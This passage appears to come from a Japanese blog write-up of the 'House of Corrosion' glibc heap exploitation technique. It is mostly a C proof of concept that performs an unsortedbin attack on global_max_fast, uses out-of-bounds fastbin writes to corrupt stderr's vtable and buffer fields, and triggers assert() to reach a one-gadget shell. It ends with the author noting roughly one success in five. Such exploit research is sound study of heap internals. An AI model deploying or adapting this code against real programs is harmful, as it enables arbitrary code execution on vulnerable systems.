40#define ADV2_WITH_CHANGE(chunk, value, size, value_size)\
41 free(chunk);\
42 if(value_size == 0x2) ((short*)chunk)[0] = value;\
43 else {printf("ERROR\n"); exit(0);}\
44 chunk = malloc(size);
45
46#define ADV3(chunkA, chunkB, tmp, LSB_A, size_DST, size_SRC, tamper_flight_flag, tamper_value)\
47 free(chunkB);\
48 free(chunkA);\
49 ((char*)chunkA)[0] = LSB_A;\
50 chunkA = malloc(size_DST); \
51 tmp[1] = (0x10 + size_SRC)|1; \
52 free(chunkA); \
53 tmp[1] = (0x10 + size_DST)|1; /* to avoid corruption detection */\
54 if(tamper_flight_flag==1) ((short*)chunkA)[0] = tamper_value;\
55 chunkA = malloc(size_DST);
56
57//This 3 variables must be set (have the same 4-bit entropy)
58void *LSBs_gmf = 0xc940; //global_max_fast: 4nibble目は適当
59void *LSBs_IO_str_jumps = 0x7360-0x20; // -0x20 is NEEDED to call _IO_str_overflow instead of xsputn
60void *LSBs_call_rax = 0xc610;; // this must be nearby default_morecore
61
62void *off_gmf_libcbase = 0x3ed940;
63void *off_stdout_libcbase = 0x3ec760;
64void *off_arena_libcbase = 0x3ebc40;
65ull off_fastbinY_stderr = 0xa28;
66
67unsigned size_formula(unsigned long delta){
68 return (unsigned)(delta*2 + 0x20);
69}
70
71int main(int argc, char *argv[])
72{
73 WAIT
74
75 // Calc and get some addrs
76 char num;
77 void *addr_stdout = stdout;
78 void *libcbase = addr_stdout - off_stdout_libcbase;
79 ull *addr_IO_file_jumps = 0x3e82a0 + (ull)libcbase;
80 void *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
81 void *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
82 ull *addr_IO_str_overflow = (ull)libcbase + 0x8ff60;
83 ull addr_IO_str_jumps = (ull)libcbase + 0x3e8360;
84 ull addr_call_rax = (ull)libcbase + 0x8d610;
85 void *addr_fastbinY = (ull)addr_main_arena + 0x60;
86 ull *A1,*B1,*A2,*B2,*tmp11,*tmp21,*temp12,*tmp22,*padd, *chunk_fake_size;
87 ull *dumped_main_arena_end_chunk, *pedantic_chunk;
88 ull *stderr_mode_chunk, *stderr_flags_chunk, *stderr_IO_buf_base_chunk, *stderr_IO_write_ptr_chunk, *stderr_s_alloc_chunk, *stderr_vtable_chunk;
89 ull *stdout_mode_chunk;
90 ull temp;
91 ull *temp_ptrs[10];
92 unsigned sz1=size_formula(off_fastbinY_stderr+0x60);
93 unsigned size_dumped_main_arena_end = size_formula(0x1ce0); //WHY 8??
94 unsigned size_stderr_flags = size_formula(0xa30) - 0x8;
95 unsigned size_stderr_mode = size_formula(0xa30+0xc0) - 0x8;
96 unsigned size_stderr_IO_buf_base = size_formula(0xa30+0x38 - 0x8);
97 unsigned size_stderr_IO_write_ptr = size_formula(0xa30+0x28 - 0x8);
98 unsigned size_stderr_IO_buf_end = size_formula(0xa30+0x30 + 0x8);
99 unsigned size_stderr_vtable = size_formula(0xa30+0xd8 - 0x8);
100 unsigned size_stderr_s_alloc = size_formula(0xa30+0xe0 - 0x8);
101 unsigned size_stdout_mode = size_formula(0xb10 + 0xc0 - 0x8);
102 unsigned size_morecore = size_formula(0x888-0x8); //WHY 8??
103 ull *onegadget = 0x00021b95;
104 unsigned off_default_morecore_onegadget = 0x4becb;
105 printf("House of Corrosion : PoC\n");
106 printf("___________________________________\n\n");
107 printf("__LIBC INFO__\n");
108 printf("libcbase : %p\n",libcbase);
109 printf("mainarena: %p\n",addr_main_arena);
110 printf("fastbinsY: %p\n",addr_fastbinY);
111 printf("global_max_fast: %p\n",addr_gmf);
112 printf("call rax: %p\n",addr_call_rax);
113 printf("___________________________________\n\n");
114
115 // Alloc some chunks
116 printf("* Preparing for some chunks ...*\n");
117 ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast
118 ull *padding = malloc(0x20);
119 ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later
120 ull *avoid_consolidation = malloc(0x110-0x30);
121
122 // Prepare for Advantage 3
123 /* LSB SENSITIVE !!! */
124 GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90);
125 GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0);
126
127 chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk
128 for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){
129 *(chunk_fake_size+0+ix*2) = 0x0;
130 *(chunk_fake_size+1+ix*2) = 0x30|1;
131 }
132
133 //Malloc chunks for Advantage2
134 dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end);
135 pedantic_chunk = malloc(size_formula(0x1cf8)-0x8);
136 stderr_mode_chunk = malloc(size_stderr_mode);
137 stderr_flags_chunk = malloc(size_stderr_flags);
138 stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr);
139 stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base);
140 stderr_vtable_chunk = malloc(size_stderr_vtable);
141 stdout_mode_chunk = malloc(size_stdout_mode);
142 printf("[*]DONE\n");
143
144 //Connect to largebin with NON_MAINARENA 1
145 printf("\n* Connecting to largebin...*\n");
146 free(largebin);
147 malloc(0x500);
148 ((ull*)(((ull)largebin)-0x10))[0] = 0;
149 ((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA
150 printf("[*]DONE\n");
151
152 //Unsortedbin Attack
153 printf("\n* Doing unsortedbin attack agains global_max_fast...*\n");
154 free(a);
155
156 a[0] = 0xfffff; //victim->fd
157#ifndef DEBUG
158 for(int ix=0;ix!=2;++ix){ //victim->bk
159 temp = (unsigned long long)LSBs_gmf >> (8*ix);
160 num = temp % 0x100;
161 if(ix==0)
162 num -= 0x10;
163 *(char*)((unsigned long long)a+8+ix) = num;
164 }
165#else
166 for(int ix=0;ix!=8;++ix){ //libcの情報からgmfを計算しているため100%正確な位置に書き込める。 いちいちデバッグでbrute-forceめんどいから
167 temp = (unsigned long long)addr_gmf >> (8*ix);
168 num = temp % 0x100;
169 if(ix==0)
170 num -= 0x10;
171 *(char*)((unsigned long long)a+8+ix) = num;
172 }
173
174 //calculate the 100% accurate LSbytes
175 LSBs_IO_str_jumps = (addr_IO_str_jumps-0x20)&0xffff;
176 LSBs_call_rax = addr_call_rax&0xffff;
177#endif
178
179 malloc(0x450); //unsorted attack!!
180
181 //Check whether the unsorted attack is success or not
182 if(*((ull*)addr_gmf) != (ull)addr_main_arena + 96){
183 printf("\n\n[-]FAIL: unsortedbin attack\n");
184 exit(0);
185 }else{
186 printf("[!]SUCCESS: unsortedbin attack\n");
187 }
188
189
190 // Make unsortedbin's bk VALID
191 printf("\n* Make unsortedbin's bk VALID...*\n");
192 ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size
193 free(pedantic_chunk); //fd/bk
194 printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8)));
195 printf("global_max_fast : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));
196
197 // Overwrite vtable and so on
198 printf("\n* Overwriting some addrs...*\n");
199 printf("HOWEVER, I can't speak from now on due to the corruption.\n");
200 printf("Wish you can get shell, bye.\n\n");
201 ADV2(stderr_mode_chunk, 0x1, size_stderr_mode);
202 ADV2(stdout_mode_chunk, 0x1, size_stdout_mode);
203 ADV2(stderr_flags_chunk, 0x0, size_stderr_flags);
204 ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);
205 ADV2(stderr_IO_buf_base_chunk, off_default_morecore_onegadget, size_stderr_IO_buf_base);
206
207
208 // Transplant __morecore's value to stderr->file._IO_buf_end
209 ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0);
210 tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく
211 A1 = malloc(size_morecore);
212
213 // Write LSByte of _IO_str_jumps on stderr->vtable
214 ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));
215
216 // Transplant __morecore's value to _s._allocate_buffer
217 ADV3(A2,B2,tmp21,0x90,size_stderr_s_alloc,size_morecore,1,LSBs_call_rax);
218
219 //Trigger assert()
220 malloc(0x50);
221
222 printf("You won't reach here. Can you get a shell??");
223
224 return 0;
225}
結果
5 回に 1 回程度成功し、それ以外は SEGV になる:
アウトロ
ファイルストリーム系の理解が甘いために曖昧な説明になってしまった部分が多いのが情けない。 以降は一旦 heap 系は置いておいて、ファイルストリーム系を勉強し直そうと思う。